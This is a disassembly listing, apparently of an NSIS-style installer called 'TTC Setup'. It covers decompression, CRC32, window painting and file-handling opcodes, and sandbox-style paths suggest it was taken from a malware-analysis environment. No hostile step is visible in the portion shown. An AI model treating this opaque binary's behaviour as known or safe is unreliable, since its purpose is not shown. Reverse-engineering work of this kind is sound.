ecx, edx jbe short loc_401B4B loc_401B58: ; CODE XREF: sub_401AF7+5Aj cmp edi, ecx mov [ebp+var_4], ecx jnb short loc_401B62 mov [ebp+arg_18], ecx loc_401B62: ; CODE XREF: sub_401AF7+66j ; sub_401AF7+72j cmp [ebp+edx*4+var_70], eax jnz short loc_401B6B dec edx jnz short loc_401B62 loc_401B6B: ; CODE XREF: sub_401AF7+6Fj cmp [ebp+arg_18], edx mov [ebp+var_18], edx jbe short loc_401B76 mov [ebp+arg_18], edx loc_401B76: ; CODE XREF: sub_401AF7+7Aj mov edi, [ebp+arg_18] mov [esi], edi shl ebx, cl jmp short loc_401B8C ; --------------------------------------------------------------------------- loc_401B7F: ; CODE XREF: sub_401AF7+97j sub ebx, [ebp+ecx*4+var_70] js loc_401E28 inc ecx add ebx, ebx loc_401B8C: ; CODE XREF: sub_401AF7+86j cmp ecx, edx jb short loc_401B7F mov esi, edx shl esi, 2 lea ecx, [ebp+esi+var_70] mov edi, [ecx] sub ebx, edi mov [ebp+var_30], ebx js loc_401E28 add edi, ebx mov [ebp+var_AC], eax mov [ecx], edi xor ecx, ecx dec edx jz short loc_401BC8 xor edi, edi loc_401BB7: ; CODE XREF: sub_401AF7+CFj add ecx, [ebp+edi+var_6C] add edi, 4 dec edx mov [ebp+edi+var_AC], ecx jnz short loc_401BB7 loc_401BC8: ; CODE XREF: sub_401AF7+BCj mov ebx, [ebp+arg_0] xor edi, edi loc_401BCD: ; CODE XREF: sub_401AF7+F6j mov ecx, [ebx] add ebx, 4 cmp ecx, eax jz short loc_401BE9 lea ecx, [ebp+ecx*4+var_B0] mov edx, [ecx] mov dword_409880[edx*4], edi inc edx mov [ecx], edx loc_401BE9: ; CODE XREF: sub_401AF7+DDj inc edi cmp edi, [ebp+arg_4] jb short loc_401BCD mov ecx, [ebp+esi+var_B0] mov ebx, [ebp+arg_18] or [ebp+var_C], 0FFFFFFFFh and [ebp+var_24], 0 mov [ebp+arg_4], ecx mov ecx, [ebp+var_4] neg ebx cmp ecx, [ebp+var_18] mov [ebp+var_8], eax mov [ebp+var_B0], eax mov [ebp+var_20], offset dword_409880 mov [ebp+var_EC], eax jg loc_401E1B lea edx, [ecx-1] lea ecx, [ebp+ecx*4+var_70] mov [ebp+var_28], edx mov [ebp+var_1C], ecx loc_401C35: ; CODE XREF: sub_401AF7+31Ej mov ecx, [ebp+var_1C] mov esi, [ecx] test esi, esi jz loc_401E05 jmp short loc_401C47 ; --------------------------------------------------------------------------- loc_401C44: ; CODE XREF: sub_401AF7+308j mov esi, [ebp+var_2C] loc_401C47: ; CODE XREF: sub_401AF7+14Bj mov ecx, [ebp+arg_18] dec esi add ecx, ebx mov [ebp+var_2C], esi cmp [ebp+var_4], ecx mov [ebp+var_14], ecx jle loc_401D28 inc esi mov [ebp+var_10], esi loc_401C60: ; CODE XREF: sub_401AF7+22Bj mov esi, [ebp+var_18] inc [ebp+var_C] sub esi, [ebp+var_14] cmp esi, [ebp+arg_18] jbe short loc_401C71 mov esi, [ebp+arg_18] loc_401C71: ; CODE XREF: sub_401AF7+175j mov ecx, [ebp+var_4] xor edx, edx sub ecx, [ebp+var_14] inc edx shl edx, cl cmp edx, [ebp+var_10] jbe short loc_401CA4 mov edi, [ebp+var_1C] or eax, 0FFFFFFFFh sub eax, [ebp+var_2C] add edx, eax cmp ecx, esi jnb short loc_401CA4 jmp short loc_401C9F ; --------------------------------------------------------------------------- loc_401C92: ; CODE XREF: sub_401AF7+1ABj add edi, 4 add edx, edx mov eax, [edi] cmp edx, eax jbe short loc_401CA4 sub edx, eax loc_401C9F: ; CODE XREF: sub_401AF7+199j inc ecx cmp ecx, esi jb short loc_401C92 loc_401CA4: ; CODE XREF: sub_401AF7+188j ; sub_401AF7+197j ... mov edx, [ebp+arg_20] xor eax, eax inc eax mov edx, [edx] shl eax, cl mov [ebp+var_24], eax lea edi, [edx+eax] cmp edi, 5A0h ja loc_401E28 mov eax, [ebp+arg_1C] lea eax, [eax+edx*4] mov edx, [ebp+var_C] lea esi, [ebp+edx*4+var_EC] mov edx, [ebp+arg_20] mov [edx], edi mov edx, [ebp+var_C] test edx, edx mov [esi], eax jz short loc_401D0F mov edi, [ebp+var_8] mov esi, [esi-4] mov [ebp+edx*4+var_B0], edi mov dl, byte ptr [ebp+arg_18] mov byte ptr [ebp+arg_0+1], dl mov byte ptr [ebp+arg_0], cl mov edx, edi mov ecx, ebx shr edx, cl mov ecx, eax sub ecx, esi sar ecx, 2 sub ecx, edx mov word ptr [ebp+arg_0+2], cx mov ecx, [ebp+arg_0] mov [esi+edx*4], ecx jmp short loc_401D14 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401AF7+1E5j mov ecx, [ebp+arg_14] mov [ecx], eax loc_401D14: ; CODE XREF: sub_401AF7+216j mov ecx, [ebp+var_14] mov ebx, ecx add ecx, [ebp+arg_18] cmp [ebp+var_4], ecx mov [ebp+var_14], ecx jg loc_401C60 loc_401D28: ; CODE XREF: sub_401AF7+15Fj mov cl, byte ptr [ebp+var_4] mov esi, [ebp+var_20] sub cl, bl mov byte ptr [ebp+arg_0+1], cl mov ecx, [ebp+arg_4] lea ecx, ds:409880h[ecx*4] cmp esi, ecx jb short loc_401D47 mov byte ptr [ebp+arg_0], 0C0h jmp short loc_401D8A ; --------------------------------------------------------------------------- loc_401D47: ; CODE XREF: sub_401AF7+248j mov ecx, [esi] cmp ecx, [ebp+arg_8] jnb short loc_401D6A cmp ecx, 100h setb cl dec cl and ecx, 60h mov byte ptr [ebp+arg_0], cl mov cx, [esi] add esi, 4 mov [ebp+var_20], esi jmp short loc_401D86 ; --------------------------------------------------------------------------- loc_401D6A: ; CODE XREF: sub_401AF7+255j sub ecx, [ebp+arg_8] mov edx, [ebp+arg_10] add ecx, ecx mov dl, [ecx+edx] add dl, 50h add [ebp+var_20], 4 mov byte ptr [ebp+arg_0], dl mov edx, [ebp+arg_C] mov cx, [ecx+edx] loc_401D86: ; CODE XREF: sub_401AF7+271j mov word ptr [ebp+arg_0+2], cx loc_401D8A: ; CODE XREF: sub_401AF7+24Ej mov ecx, [ebp+var_4] mov edx, [ebp+var_8] xor edi, edi sub ecx, ebx inc edi mov esi, edi shl esi, cl mov ecx, ebx shr edx, cl jmp short loc_401DA7 ; --------------------------------------------------------------------------- loc_401D9F: ; CODE XREF: sub_401AF7+2B3j mov ecx, [ebp+arg_0] mov [eax+edx*4], ecx add edx, esi loc_401DA7: ; CODE XREF: sub_401AF7+2A6j cmp edx, [ebp+var_24] jb short loc_401D9F mov ecx, [ebp+var_28] mov esi, [ebp+var_8] mov edx, edi shl edx, cl jmp short loc_401DBC ; --------------------------------------------------------------------------- loc_401DB8: ; CODE XREF: sub_401AF7+2C7j xor esi, edx shr edx, 1 loc_401DBC: ; CODE XREF: sub_401AF7+2BFj test edx, esi jnz short loc_401DB8 mov ecx, edi xor esi, edx mov [ebp+var_10], ecx mov ecx, ebx mov edx, edi mov [ebp+var_8], esi shl edx, cl dec edx and edx, esi mov ecx, edx mov edx, [ebp+var_C] cmp ecx, [ebp+edx*4+var_B0] jz short loc_401DFB loc_401DE1: ; CODE XREF: sub_401AF7+2FFj sub ebx, [ebp+arg_18] mov esi, edi dec edx mov ecx, ebx shl esi, cl dec esi and esi, [ebp+var_8] cmp esi, [ebp+edx*4+var_B0] jnz short loc_401DE1 mov [ebp+var_C], edx loc_401DFB: ; CODE XREF: sub_401AF7+2E8j cmp [ebp+var_2C], 0 jnz loc_401C44 loc_401E05: ; CODE XREF: sub_401AF7+145j inc [ebp+var_4] add [ebp+var_1C], 4 mov ecx, [ebp+var_4] inc [ebp+var_28] cmp ecx, [ebp+var_18] jle loc_401C35 loc_401E1B: ; CODE XREF: sub_401AF7+12Bj xor eax, eax cmp [ebp+var_30], eax jz short loc_401E2B cmp [ebp+var_18], 1 jz short loc_401E2B loc_401E28: ; CODE XREF: sub_401AF7+8Cj ; sub_401AF7+A9j ... or eax, 0FFFFFFFFh loc_401E2B: ; CODE XREF: sub_401AF7+3Fj ; sub_401AF7+329j ... pop edi pop esi pop ebx leave retn 24h sub_401AF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E32 proc near ; DATA XREF: sub_4041E1+10Do var_5C = byte ptr -5Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 5Ch cmp [ebp+arg_4], 0Fh jz short loc_401E69 cmp [ebp+arg_4], 46h mov eax, [ebp+arg_C] jnz short loc_401E54 or dword ptr [eax+18h], 10h mov ecx, dword_42F024 mov [eax+4], ecx loc_401E54: ; CODE XREF: sub_401E32+13j push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_40724C ; DefWindowProcA jmp locret_401FAB ; --------------------------------------------------------------------------- loc_401E69: ; CODE XREF: sub_401E32+Aj push ebx push esi mov esi, dword_42F028 lea eax, [ebp+var_5C] push edi push eax push [ebp+arg_0] call ds:dword_407250 ; BeginPaint and [ebp+var_C], 0 mov [ebp+arg_4], eax lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call ds:dword_407254 ; GetClientRect mov edi, [ebp+var_10] and [ebp+var_10], 0 mov ebx, ds:dword_407040 jmp loc_401F25 ; --------------------------------------------------------------------------- loc_401EA5: ; CODE XREF: sub_401E32+F6j movzx eax, byte ptr [esi+52h] movzx edx, byte ptr [esi+56h] imul edx, [ebp+var_18] mov ecx, edi sub ecx, [ebp+var_18] imul eax, ecx add eax, edx mov [ebp+arg_8], ecx cdq idiv edi xor edx, edx mov dh, al movzx eax, byte ptr [esi+51h] imul eax, ecx movzx ecx, byte ptr [esi+55h] imul ecx, [ebp+var_18] add eax, ecx mov ecx, edx cdq idiv edi movzx edx, byte ptr [esi+54h] imul edx, [ebp+var_18] mov cl, al movzx eax, byte ptr [esi+50h] imul eax, [ebp+arg_8] add eax, edx cdq idiv edi shl ecx, 8 movzx eax, al or ecx, eax lea eax, [ebp+var_C] push eax mov [ebp+var_8], ecx call ds:dword_407044 ; CreateBrushIndirect add [ebp+var_10], 4 mov [ebp+arg_C], eax push eax lea eax, [ebp+var_1C] push eax push [ebp+arg_4] call ds:dword_407258 ; FillRect push [ebp+arg_C] call ebx ; DeleteObject add [ebp+var_18], 4 loc_401F25: ; CODE XREF: sub_401E32+6Ej cmp [ebp+var_18], edi jl loc_401EA5 cmp dword ptr [esi+58h], 0FFFFFFFFh jz short loc_401F99 push dword ptr [esi+34h] call ds:dword_407048 ; CreateFontIndirectA test eax, eax mov [ebp+arg_C], eax jz short loc_401F99 mov edi, [ebp+arg_4] push 1 push edi mov [ebp+var_1C], 10h mov [ebp+var_18], 8 call ds:dword_40704C ; SetBkMode push dword ptr [esi+58h] push edi call ds:dword_407050 ; SetTextColor push [ebp+arg_C] mov esi, ds:dword_407058 push edi call esi ; SelectObject mov [ebp+arg_4], eax lea eax, [ebp+var_1C] push 820h push eax push 0FFFFFFFFh push offset aTtcSetup ; "TTC Setup" push edi call ds:dword_40725C ; DrawTextA push [ebp+arg_4] push edi call esi ; SelectObject push [ebp+arg_C] call ebx ; DeleteObject loc_401F99: ; CODE XREF: sub_401E32+100j ; sub_401E32+110j lea eax, [ebp+var_5C] push eax push [ebp+arg_0] call ds:dword_407260 ; EndPaint pop edi pop esi xor eax, eax pop ebx locret_401FAB: ; CODE XREF: sub_401E32+32j leave retn 10h sub_401E32 endp ; =============== S U B R O U T I N E ======================================= sub_401FAF proc near ; CODE XREF: sub_4038D5+178p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp dword_40A58C, 0 push esi jnz short loc_401FE6 xor ecx, ecx loc_401FBB: ; CODE XREF: sub_401FAF+35j push 8 mov eax, ecx pop esi loc_401FC0: ; CODE XREF: sub_401FAF+25j mov edx, eax and dl, 1 neg dl sbb edx, edx and edx, 0EDB88320h shr eax, 1 xor eax, edx dec esi jnz short loc_401FC0 mov dword_40A588[ecx*4], eax inc ecx cmp ecx, 100h jl short loc_401FBB loc_401FE6: ; CODE XREF: sub_401FAF+8j mov edx, [esp+4+arg_8] mov eax, [esp+4+arg_0] test edx, edx not eax jbe short loc_402017 mov ecx, [esp+4+arg_4] push edi loc_401FF9: ; CODE XREF: sub_401FAF+65j movzx edi, byte ptr [ecx] mov esi, eax and esi, 0FFh xor esi, edi shr eax, 8 mov esi, dword_40A588[esi*4] xor eax, esi inc ecx dec edx jnz short loc_401FF9 pop edi loc_402017: ; CODE XREF: sub_401FAF+43j not eax pop esi retn 0Ch sub_401FAF endp ; =============== S U B R O U T I N E ======================================= sub_40201D proc near ; CODE XREF: sub_4020C0+10p ; sub_4020E9+A3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] jmp loc_4020AB ; --------------------------------------------------------------------------- loc_402027: ; CODE XREF: sub_40201D+90j mov eax, esi mov ecx, dword_42F050 imul eax, 1Ch add eax, ecx cmp dword ptr [eax], 1 jz short loc_4020B3 push eax call sub_4020E9 cmp eax, 7FFFFFFFh jz short loc_4020B9 test eax, eax jge short loc_40205D inc eax mov ecx, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" shl eax, 0Ah sub ecx, eax push ecx call sub_406840 test eax, eax loc_40205D: ; CODE XREF: sub_40201D+2Bj jnz short loc_402065 xor eax, eax inc eax inc esi jmp short loc_40206C ; --------------------------------------------------------------------------- loc_402065: ; CODE XREF: sub_40201D:loc_40205Dj dec eax mov ecx, esi mov esi, eax sub eax, ecx loc_40206C: ; CODE XREF: sub_40201D+46j cmp [esp+4+arg_4], 0 jz short loc_4020AB add dword_42E80C, eax mov eax, dword_42E7F4 xor ecx, ecx push 0 test eax, eax setz cl add ecx, eax push ecx push 7530h push dword_42E80C call ds:dword_40710C ; MulDiv push eax push 402h push [esp+0Ch+arg_8] call ds:dword_407248 ; SendMessageA loc_4020AB: ; CODE XREF: sub_40201D+5j ; sub_40201D+54j test esi, esi jge loc_402027 loc_4020B3: ; CODE XREF: sub_40201D+1Aj xor eax, eax loc_4020B5: ; CODE XREF: sub_40201D+A1j pop esi retn 8 ; --------------------------------------------------------------------------- loc_4020B9: ; CODE XREF: sub_40201D+27j mov eax, 7FFFFFFFh jmp short loc_4020B5 sub_40201D endp ; =============== S U B R O U T I N E ======================================= sub_4020C0 proc near ; CODE XREF: start+383p ; sub_4041E1+17Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, dword_42F028 push 0 push dword ptr [ecx+eax*4+6Ch] call sub_40201D retn 4 sub_4020C0 endp ; =============== S U B R O U T I N E ======================================= sub_4020D8 proc near ; CODE XREF: sub_4020E9+1F7p ; sub_4020E9+A2Bp ... arg_0 = dword ptr 4 push offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... push [esp+4+arg_0] call sub_405CAC retn 4 sub_4020D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020E9 proc near ; CODE XREF: sub_40201D+1Dp var_1A4 = byte ptr -1A4h var_178 = byte ptr -178h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = word ptr -54h var_4A = dword ptr -4Ah var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov eax, dword_42F080 push ebx push esi mov esi, [ebp+arg_0] push edi push 7 mov [ebp+var_34], eax mov eax, dword_42F024 pop ecx lea edi, [ebp+var_28] mov [ebp+var_8], eax xor ebx, ebx rep movsd mov eax, [ebp+var_24] mov edx, [ebp+var_20] mov esi, eax mov edi, edx shl esi, 0Ah mov ecx, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" mov [ebp+var_4], ebx shl edi, 0Ah add esi, ecx add edi, ecx lea ecx, [ebp+var_24] mov dword_40A9C4, ecx mov ecx, [ebp+var_28] add ecx, 0FFFFFFFEh ; switch 66 cases cmp ecx, 41h ja loc_4035E8 ; default ; jumptable 00402146 cases 65,66 jmp ds:off_4035FA[ecx*4] ; switch jump loc_40214D: ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 3 push eax loc_40214F: ; CODE XREF: sub_4020E9+479j call sub_405CAC jmp loc_402F68 ; --------------------------------------------------------------------------- loc_402159: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo inc dword_42E7EC ; jumptable 00402146 case 4 cmp [ebp+var_8], ebx jz loc_402F68 push ebx call ds:dword_407210 ; PostQuitMessage jmp loc_402F68 ; --------------------------------------------------------------------------- loc_402174: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp eax, ebx ; jumptable 00402146 case 5 jge short loc_402189 inc eax mov ecx, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" shl eax, 0Ah sub ecx, eax push ecx call sub_406840 loc_402189: ; CODE XREF: sub_4020E9+8Dj dec eax push ebx push eax call sub_40201D jmp loc_4035F3 ; jumptable 00402146 case 2 ; --------------------------------------------------------------------------- loc_402196: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo cmp edx, ebx ; jumptable 00402146 case 6 jz short loc_4021C3 test dl, 8 jz short loc_4021AE mov eax, dword_409034 mov dword_4092C0, eax jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4021AE: ; CODE XREF: sub_4020E9+B4j mov eax, dword_4092C0 mov dword_4092C0, edx mov dword_409034, eax jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4021C3: ; CODE XREF: sub_4020E9+AFj push ebx push eax call sub_405CAC jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4021CF: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 7 call sub_403736 cmp eax, 1 jg short loc_4021DD xor eax, eax inc eax loc_4021DD: ; CODE XREF: sub_4020E9+EFj push eax call ds:dword_40709C ; Sleep jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4021E9: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push [ebp+var_8] ; jumptable 00402146 case 8 call ds:dword_407214 ; SetForegroundWindow jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4021F7: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 1 ; jumptable 00402146 case 13 call sub_403736 mov ecx, [ebp+var_24] mov dword_42F0A0[ecx*4], eax jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_40220D: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo mov eax, [ebp+var_1C] ; jumptable 00402146 case 14 lea esi, ds:42F0A0h[eax*4] xor eax, eax mov ecx, [esi] cmp ecx, ebx setz al and ecx, [ebp+var_18] mov eax, [ebp+eax*4+var_24] mov [esi], ecx jmp loc_4035F3 ; jumptable 00402146 case 2 ; --------------------------------------------------------------------------- loc_40222E: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push dword_42F0A0[edx*4] ; jumptable 00402146 case 15 loc_402235: ; CODE XREF: sub_4020E9+71Aj ; sub_4020E9+8A1j ... push esi jmp loc_403514 ; --------------------------------------------------------------------------- loc_40223B: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo mov ecx, dword_42E7F0 ; jumptable 00402146 case 9 mov esi, ds:dword_407218 cmp ecx, ebx jz short loc_402252 push edx push ecx call esi ; ShowWindow mov eax, [ebp+var_24] loc_402252: ; CODE XREF: sub_4020E9+160j mov ecx, dword_42E804 cmp ecx, ebx jz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push eax push ecx call esi ; ShowWindow jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402269: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 0FFFFFFF0h ; jumptable 00402146 case 10 call sub_403753 push [ebp+var_20] push eax call ds:dword_407098 ; SetFileAttributesA loc_40227A: ; CODE XREF: sub_4020E9+362j ; sub_4020E9+ED3j ... test eax, eax loc_40227C: ; CODE XREF: sub_4020E9+1215j jnz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 jmp loc_4033A2 ; --------------------------------------------------------------------------- loc_402287: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 0FFFFFFF0h ; jumptable 00402146 case 11 call sub_403753 mov edi, eax push edi call sub_406463 cmp [edi], bl mov esi, eax jz short loc_4022D9 cmp esi, ebx jz short loc_4022D9 loc_4022A0: ; CODE XREF: sub_4020E9+1EEj push 5Ch push esi call sub_4063FB mov esi, eax push edi mov al, [esi] mov [esi], bl mov byte ptr [ebp+arg_0+3], al call sub_406BAB cmp eax, ebx jnz short loc_4022C7 push ebx push edi call ds:dword_407094 ; CreateDirectoryA test eax, eax jmp short loc_4022CA ; --------------------------------------------------------------------------- loc_4022C7: ; CODE XREF: sub_4020E9+1D0j test byte ptr [eax], 10h loc_4022CA: ; CODE XREF: sub_4020E9+1DCj jnz short loc_4022CF inc [ebp+var_4] loc_4022CF: ; CODE XREF: sub_4020E9:loc_4022CAj mov al, byte ptr [ebp+arg_0+3] mov [esi], al inc esi cmp al, bl jnz short loc_4022A0 loc_4022D9: ; CODE XREF: sub_4020E9+1B1j ; sub_4020E9+1B5j cmp [ebp+var_20], ebx jz short loc_4022FC push 0FFFFFFE6h call sub_4020D8 push edi push offset aCProgramFilesC ; "C:\\Program Files\\Common Files" call sub_4068C9 ; lstrcpy push edi call ds:dword_407090 ; SetCurrentDirectoryA jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_4022FC: ; CODE XREF: sub_4020E9+1F3j push 0FFFFFFF5h jmp loc_402EBC ; --------------------------------------------------------------------------- loc_402303: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 12 call sub_403753 push eax call sub_406BAB jmp loc_40299C ; --------------------------------------------------------------------------- loc_402314: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 0FFFFFFD0h ; jumptable 00402146 case 16 call sub_403753 push 0FFFFFFDFh mov [ebp+arg_0], eax call sub_403753 push [ebp+arg_0] mov esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... mov [ebp+var_8], eax push esi call sub_4068C9 ; lstrcpy push [ebp+var_8] call sub_4068CF ; lstrlen push [ebp+arg_0] mov edi, eax call sub_4068CF ; lstrlen add edi, eax cmp edi, 3FDh jge short loc_402366 mov edi, ds:dword_40708C push offset asc_409044 ; "->" push esi call edi ; lstrcat push [ebp+var_8] push esi call edi ; lstrcat loc_402366: ; CODE XREF: sub_4020E9+267j push [ebp+var_8] push [ebp+arg_0] call ds:dword_407088 ; MoveFileA test eax, eax jz short loc_40237D push 0FFFFFFE3h jmp loc_402EBC ; --------------------------------------------------------------------------- loc_40237D: ; CODE XREF: sub_4020E9+28Bj cmp [ebp+var_1C], ebx jz loc_4033A2 push [ebp+arg_0] call sub_406BAB test eax, eax jz loc_4033A2 push [ebp+var_8] push [ebp+arg_0] call sub_406606 push 0FFFFFFE4h jmp loc_402EBC ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push ebx ; jumptable 00402146 case 17 call sub_403753 lea ecx, [ebp+var_34] mov esi, 400h push ecx push edi push esi push eax mov [ebp+arg_0], eax call ds:dword_407084 ; GetFullPathNameA test eax, eax jz short loc_4023ED mov eax, [ebp+var_34] cmp eax, [ebp+arg_0] jbe short loc_4023F6 cmp [eax], bl jz short loc_4023F6 push [ebp+arg_0] call sub_406BAB cmp eax, ebx jz short loc_4023ED add eax, 2Ch push eax push [ebp+var_34] call sub_4068C9 ; lstrcpy jmp short loc_4023F6 ; --------------------------------------------------------------------------- loc_4023ED: ; CODE XREF: sub_4020E9+2DCj ; sub_4020E9+2F4j mov [ebp+var_4], 1 mov [edi], bl loc_4023F6: ; CODE XREF: sub_4020E9+2E4j ; sub_4020E9+2E8j ... cmp [ebp+var_1C], ebx jnz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 push esi push edi push edi call ds:dword_407080 ; GetShortPathNameA jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 0FFFFFFFFh ; jumptable 00402146 case 18 call sub_403753 lea ecx, [ebp+arg_0] push ecx push esi push 400h push ebx push eax push ebx call ds:dword_40707C ; SearchPathA test eax, eax loc_402429: ; CODE XREF: sub_4020E9+F13j jnz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 loc_40242F: ; CODE XREF: sub_4020E9+1267j ; sub_4020E9+1283j mov [ebp+var_4], 1 mov [esi], bl jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_40243D: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 0FFFFFFEFh ; jumptable 00402146 case 19 call sub_403753 push eax push esi call sub_4065BE jmp loc_40227A ; --------------------------------------------------------------------------- loc_402450: ; CODE XREF: sub_4020E9+5Dj ; DATA XREF: .text:off_4035FAo push 31h ; jumptable 00402146 case 20 call sub_403753 mov esi, eax mov eax, [ebp+var_24] and eax, 7 push esi mov [ebp+var_34], esi mov [ebp+arg_0], eax call sub_40643C push esi mov esi, offset aCall ; "Call" test eax, eax jz short loc_40247D push esi call sub_4068C9 ; lstrcpy jmp short loc_402495 ; --------------------------------------------------------------------------- loc_40247D: ; CODE XREF: sub_4020E9+38Aj push offset aCProgramFilesC ; "C:\\Program Files\\Common Files" push esi call sub_4068C9 ; lstrcpy push eax call sub_4063CF push eax call ds:dword_40708C ; lstrcat loc_402495: ; CODE XREF: sub_4020E9+392j push esi call sub_406B09 mov edi, offset aCDocume1SriU_0 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... loc_4024A0: ; CODE XREF: sub_4020E9+46Dj cmp [ebp+arg_0], 3 jl short loc_4024D7 push esi call sub_406BAB xor ecx, ecx cmp eax, ebx jz short loc_4024C2 lea ecx, [ebp+var_18] add eax, 14h push ecx push eax call ds:dword_407078 ; CompareFileTime mov ecx, eax loc_4024C2: ; CODE XREF: sub_4020E9+3C7j mov eax, [ebp+arg_0] add eax, 0FFFFFFFDh or eax, 80000000h and eax, ecx neg eax sbb eax, eax inc eax mov [ebp+arg_0], eax loc_4024D7: ; CODE XREF: sub_4020E9+3BBj cmp [ebp+arg_0], ebx jnz short loc_4024ED push esi call ds:dword_407074 ; GetFileAttributesA and al, 0FEh push eax push esi call ds:dword_407098 ; SetFileAttributesA loc_4024ED: ; CODE XREF: sub_4020E9+3F1j xor eax, eax cmp [ebp+arg_0], 1 setnz al inc eax push eax push 40000000h push esi call sub_40658F cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz loc_402591 cmp [ebp+arg_0], ebx jnz short loc_402567 push offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" push edi call sub_4068C9 ; lstrcpy push esi push offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" call sub_4068C9 ; lstrcpy push [ebp+var_10] push offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... call sub_4068D5 push edi push offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" call sub_4068C9 ; lstrcpy mov eax, [ebp+var_24] sar eax, 3 push eax push offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... call sub_406202 sub eax, 4 jz loc_4024A0 dec eax jz short loc_402586 push esi push 0FFFFFFFAh jmp loc_40214F ; --------------------------------------------------------------------------- loc_402567: ; CODE XREF: sub_4020E9+429j push [ebp+var_34] push 0FFFFFFE2h call sub_405CAC cmp [ebp+arg_0], 2 jnz loc_4035E8 ; default ; jumptable 00402146 cases 65,66 inc dword_42F0A8 jmp loc_4035E8 ; default ; jumptable 00402146 cases 65,66 ; --------------------------------------------------------------------------- loc_402586: ; CODE XREF: sub_4020E9+474j inc dword_42F0A8 jmp loc_4035F1 ; --------------------------------------------------------------------------- loc_402591: ; CODE XREF: sub_4020E9+420j push [ebp+var_34] push 0FFFFFFEAh call sub_405CAC inc dword_4092C0 push ebx push ebx push [ebp+var_8] push [ebp+var_1C] call sub_403B73 dec dword_4092C0 cmp [ebp+var_18], 0FFFFFFFFh 